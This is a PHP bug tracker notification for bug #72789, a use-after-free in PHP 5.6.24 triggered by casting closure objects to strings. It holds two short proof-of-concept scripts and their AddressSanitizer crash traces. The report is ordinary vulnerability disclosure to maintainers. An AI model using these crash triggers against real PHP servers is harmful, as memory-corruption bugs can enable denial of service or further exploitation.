Sec Bug->Bug #72789 [Opn]: closure casting causes use after free

From: Date: Wed, 10 Aug 2016 06:17:35 +0000
Subject: Sec Bug->Bug #72789 [Opn]: closure casting causes use after free
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-203134@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=72789&edit=1

 ID:                 72789
 Updated by:         stas@php.net
 Reported by:        fernando at null-life dot com
 Summary:            closure casting causes use after free
 Status:             Open
-Type:               Security
+Type:               Bug
 Package:            Reproducible crash
 Operating System:   *
 PHP Version:        5.6.24
 Block user comment: N
 Private report:     Y



Previous Comments:
------------------------------------------------------------------------
[2016-08-09 00:47:35] fernando at null-life dot com

Description:
------------
Use after free is caused when closure objects are casted to strings. It's necessary to continue
recoverable exception for it to happen.

Source code: 

https://github.com/php/php-src/blob/PHP-5.6.24/Zend/zend_operators.c#L640

ZEND_API void _convert_to_string(zval *op ZEND_FILE_LINE_DC) /* {{{ */
{
	long lval;
	double dval;

	switch (Z_TYPE_P(op)) {
...
   
		case IS_OBJECT: {
			TSRMLS_FETCH();

			convert_object_to_type(op, IS_STRING, convert_to_string);

			if (Z_TYPE_P(op) == IS_STRING) {
				return;
			}

			zend_error(E_NOTICE, "Object of class %s to string conversion",
Z_OBJCE_P(op)->name);
			zval_dtor(op);
			Z_STRVAL_P(op) = estrndup_rel("Object", sizeof("Object")-1);
			Z_STRLEN_P(op) = sizeof("Object")-1;
			break;
...



Test script:
---------------
poc1:

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline) {
  if ( E_RECOVERABLE_ERROR===$errno ) {
    return true;
  }
  return false;
}
set_error_handler('myErrorHandler');

$f = function() { return 0; };
$r = NULL;

openssl_pkcs12_export($f, $r, "", "");
var_dump($f);


poc2.php:

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline) {
  if ( E_RECOVERABLE_ERROR===$errno ) {
    return true;
  }
  return false;
}
set_error_handler('myErrorHandler');

$f = function() { return 0; };

spl_autoload_register($f);
mb_detect_encoding("encoding", $f);
get_class_vars("class");






Expected result:
----------------
No crash

Actual result:
--------------
POC1

==13079==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300004cbb5 at pc 0x000001bfad5e
bp 0x7ffd5de44d10 sp 0x7ffd5de44d00
READ of size 1 at 0x60300004cbb5 thread T0
    #0 0x1bfad5d in zend_send_by_var_helper_SPEC_CV
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:31209
    #1 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #2 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #3 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #4 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #5 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #6 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)

0x60300004cbb5 is located 21 bytes inside of 32-byte region [0x60300004cba0,0x60300004cbc0)
freed by thread T0 here:
    #0 0x7fee9b9fc2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x1d58f64 in i_zval_ptr_dtor /home/operac/build2/php-src-56/Zend/zend_execute.h:80
    #2 0x1d58f64 in zend_vm_stack_clear_multiple
/home/operac/build2/php-src-56/Zend/zend_execute.h:308
    #3 0x1d58f64 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:650
    #4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #9 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7fee9b9fc602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x1ac3e2a in zend_assign_tmp_to_variable
/home/operac/build2/php-src-56/Zend/zend_execute.c:849
    #2 0x1ac4476 in ZEND_ASSIGN_SPEC_CV_TMP_HANDLER
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:35523
    #3 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #4 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #5 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #6 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #7 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #8 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:31209 zend_send_by_var_helper_SPEC_CV


POC2


==13091==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000005778 at pc 0x0000018d28f2
bp 0x7ffea0002870 sp 0x7ffea0002860
READ of size 4 at 0x612000005778 thread T0
    #0 0x18d28f1 in zend_call_function /home/operac/build2/php-src-56/Zend/zend_execute_API.c:706
    #1 0x19f9868 in zend_call_method /home/operac/build2/php-src-56/Zend/zend_interfaces.c:97
    #2 0x11a8f1a in zif_spl_autoload_call /home/operac/build2/php-src-56/ext/spl/php_spl.c:436
    #3 0x18d0503 in zend_call_function /home/operac/build2/php-src-56/Zend/zend_execute_API.c:847
    #4 0x18d5285 in zend_lookup_class_ex /home/operac/build2/php-src-56/Zend/zend_execute_API.c:1005
    #5 0x19def65 in zif_get_class_vars
/home/operac/build2/php-src-56/Zend/zend_builtin_functions.c:971
    #6 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
    #7 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #8 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #9 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #10 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #11 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #12 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #13 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)

0x612000005778 is located 56 bytes inside of 296-byte region [0x612000005740,0x612000005868)
freed by thread T0 here:
    #0 0x7fdc691f42ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x1a8a83f in zend_objects_store_del_ref_by_handle_ex
/home/operac/build2/php-src-56/Zend/zend_objects_API.c:226
    #2 0x1a8acad in zend_objects_store_del_ref
/home/operac/build2/php-src-56/Zend/zend_objects_API.c:178
    #3 0x18fa5f8 in _zval_dtor /home/operac/build2/php-src-56/Zend/zend_variables.h:35
    #4 0x18fa5f8 in _convert_to_string /home/operac/build2/php-src-56/Zend/zend_operators.c:650
    #5 0xdc5d10 in zif_mb_detect_encoding
/home/operac/build2/php-src-56/ext/mbstring/mbstring.c:3237
    #6 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
    #7 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #8 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #9 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #10 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #11 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #12 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7fdc691f4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x1a362ac in zend_closure_new /home/operac/build2/php-src-56/Zend/zend_closures.c:287
    #2 0x1959ed0 in _object_and_properties_init /home/operac/build2/php-src-56/Zend/zend_API.c:1199
    #3 0x1a380c0 in zend_create_closure /home/operac/build2/php-src-56/Zend/zend_closures.c:461
    #4 0x1a9d143 in ZEND_DECLARE_LAMBDA_FUNCTION_SPEC_CONST_UNUSED_HANDLER
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:6820
    #5 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #6 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #7 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #8 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #9 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #10 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free
/home/operac/build2/php-src-56/Zend/zend_execute_API.c:706 zend_call_function



------------------------------------------------------------------------



--
Edit this bug report at https://bugs.php.net/bug.php?id=72789&edit=1


Thread (1 message)

  • stas@php.net
  • Unknown Message
    • stas@php.net
« previous php.bugs (#203134) next »